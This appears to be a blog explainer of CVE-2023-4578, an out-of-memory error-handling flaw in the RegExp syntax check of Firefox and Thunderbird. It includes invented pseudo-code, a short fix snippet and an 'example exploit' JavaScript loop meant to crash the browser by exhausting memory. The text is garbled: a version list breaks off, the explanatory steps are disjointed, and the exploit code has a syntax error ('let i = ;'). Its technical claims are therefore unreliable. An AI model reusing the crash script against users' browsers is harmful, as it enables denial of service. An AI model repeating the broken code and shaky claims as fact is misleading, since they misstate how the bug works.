In late 2023, a subtle yet impactful vulnerability was discovered in Mozilla’s Firefox, Firefox ESR, and Thunderbird. Known as CVE-2023-4578, this issue highlights the importance of careful error handling—especially around the complex mechanisms of JavaScript engines. In this long read, we’ll break down what happened, how the bug works, and why even small mistakes in exception handling can have outsized consequences on popular software.

The Vulnerability in Simple Terms

At its core, the bug is about handling JavaScript Regular Expressions (RegExp). Firefox and related applications use a function called JS::CheckRegExpSyntax to verify that a regular expression’s syntax is correct. If it finds a problem, it sets a Syntax Error. But due to the way errors are converted and memory is managed, there was a hidden danger:

- If the system runs out of memory while converting a Syntax Error to a runtime error (using the convertToRuntimeErrorAndClear function), it can actually allocate memory (attempt to, at least) when there’s none available.
- If this allocation fails, the error handling will NOT recognize an Out-Of-Memory (OOM) situation properly. Instead, it might treat it as just another syntax problem.

This means that script code or addons could cause unusual behavior, and in some cases, even lead to security risks such as denial of service or unpredictable browser/application state.

Thunderbird: Versions *prior to 115.2*

If you’re running any of these, you should update immediately.

If there’s a problem, a Syntax Error is set.

Before the error can be reported to JavaScript code, internal code tries to "upgrade" this, calling convertToRuntimeErrorAndClear.

convertToRuntimeErrorAndClear can allocate memory:

Ironically, converting the error may need a new allocation (for example, building an exception object with extra detail).

If Out-Of-Memory occurs here, it’s mishandled:

Instead of telling the JavaScript runtime “I ran out of memory,” it quietly replaces this with an (inaccurate) Syntax Error.

Here’s a DRAMATIZED pseudo-code of what the vulnerable flow could be like

bool CheckRegExpSyntax(JSContext* cx, const char* pattern) {
    if (!isValidRegExp(pattern)) {
        // Oh no, invalid RegExp syntax!
        cx->setPendingException(SyntaxError);
        // Now convert and clear, which might try to allocate more memory
        if (!convertToRuntimeErrorAndClear(cx)) {
            // OOM! But we're still treating as SyntaxError, not OOM
            return false;
        }
    }
    return true;
}

bool convertToRuntimeErrorAndClear(JSContext* cx) {
    // Needs memory allocation here
    Exception* ex = new (nothrow) Exception("Some error");
    if (!ex) {
        // Uh-oh! Out of memory. This should be flagged as a
        // different (fatal) error, but is just treated as original error.
        return false;
    }
    // All is good
    cx->setPendingException(ex);
    return true;
}

Exploit Details

This bug is a category known as “Out of Memory (OOM) Handling Error.” While it does not lead directly to code execution, it can be *abused* by malicious JS to cause:

- Rigged scripts that intentionally use malformed RegExp to force allocation until exhaustion, hiding the real cause
- Addons/extensions could destabilize the browser, especially in conjunction with other OOM bugs

Example Exploit Code (Warning: Do not use this for malicious purposes!)

function crashFirefox() {
  // Try to create many invalid regular expressions
  for (let i = ; i < 1e7; i++) {
    try {
      new RegExp("invalidsyntax" + i);
    } catch(e) {
      // Ignore the SyntaxError, but behind the scenes OOM is not handled cleanly
    }
  }
}
crashFirefox();

This code tries to stress the RegExp parser and force OOM. Usually, the engine should throw a *different* exception if it cannot allocate memory. Due to CVE-2023-4578, it can instead hide this behind a SyntaxError, silently bypassing some internal OOM protections.
Responsible Disclosure

This bug was reported to Mozilla’s security team and fixed promptly. You can find the original advisories here:

- [Mozilla Foundation Security Advisory 2023-30
- Bugzilla Report (#1849125)

Here’s a simplified fix snippet

bool convertToRuntimeErrorAndClear(JSContext* cx) {
    Exception* ex = new (nothrow) Exception("Some error");
    if (!ex) {
        // Now: report OutOfMemory to JS engine, not SyntaxError
        ReportOutOfMemory(cx);
        return false;
    }
    cx->setPendingException(ex);
    return true;
}

Keep your browser up to date.

Vulnerability chains often start with low-level logic bugs like this—easy to overlook, but dangerous in combination.

References

- CVE-2023-4578 at NIST
- Mozilla Security Advisory: MFSA2023-30
- Mozilla Bug 1849125
- JS::CheckRegExpSyntax Documentation (MDN)

Summary

CVE-2023-4578 shows that sometimes, the scariest bugs don’t come from flashy code, but from the quiet corners of error handling. If you use Firefox, Thunderbird, or Firefox ESR, update now. Developers: always handle all possible errors, especially when resources are tight. Sometimes, the bugs you don’t see cause the most problems.

Timeline

Published on: 09/11/2023 09:15:00 UTC
Last modified on: 09/14/2023 03:53:00 UTC